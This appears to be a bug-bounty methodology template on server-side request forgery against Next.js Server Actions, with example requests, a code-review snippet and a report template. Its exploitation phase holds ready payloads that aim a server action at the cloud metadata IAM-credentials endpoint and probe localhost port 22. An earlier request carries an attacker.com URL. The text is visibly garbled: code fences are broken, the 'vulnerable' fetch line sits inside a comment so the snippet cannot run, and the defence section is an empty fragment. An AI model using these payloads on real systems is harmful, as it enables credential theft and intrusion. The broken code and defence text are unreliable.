SSRF via Next.js Server Actions

When to Use

• When auditing modern web applications built using Next.js (React framework) that utilize Server Actions or custom API routes (/pages/api or /app/api).
• To demonstrate how fetching external data based on user input on the server side can lead to SSRF, allowing access to internal networks or cloud metadata.

Prerequisites

• Authorized scope and target URLs from bug bounty program
• Burp Suite Professional (or Community) configured with browser proxy
• Familiarity with OWASP Top 10 and common web vulnerability classes
• SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Identifying Server Actions

# Concept: Next.js Server Actions ```

### Phase 2: Analyzing Request Payloads (Black Box)

```http
# POST / HTTP/1.1
Host: target.com
Content-Type: text/plain;charset=UTF-8
Next-Action: xxxxxxxx

[{"url": "https://attacker.com/image.png"}]

Phase 3: Code Review (White Box - if available)

# Sink: fetch() 'use server'

export async function fetchPreview(url) {
  // VULNERABLE const res = await fetch(url);
  const data = await res.text();
  return { preview: data.substring(0, 100) };
}

Phase 4: Exploitation

# POST / HTTP/1.1
Host: target.com
Content-Type: text/plain;charset=UTF-8
Next-Action: xxxxxxxx

[{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}]

# POST / HTTP/1.1
Host: target.com
Content-Type: text/plain;charset=UTF-8
Next-Action: xxxxxxxx

[{"url": "http://127.0.0.1:22"}]

Decision Point 🔀

flowchart TD
    A[Monitor Next-Action ] --> B{Accepts URL Input ]}
    B -->|Yes| C[Test internal ]
    B -->|No| D[Test parameter ]
    C --> E[Exfiltrate ]

🔵 Blue Team Detection & Defense

• URL Allowlisting: - SSRF Protections (Network Level): Key Concepts | Concept | Description | |---------|-------------|

Output Format

Ssrf Nextjs Server Actions — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• PortSwigger: SSRF
• Next.js Security: Server Actions Security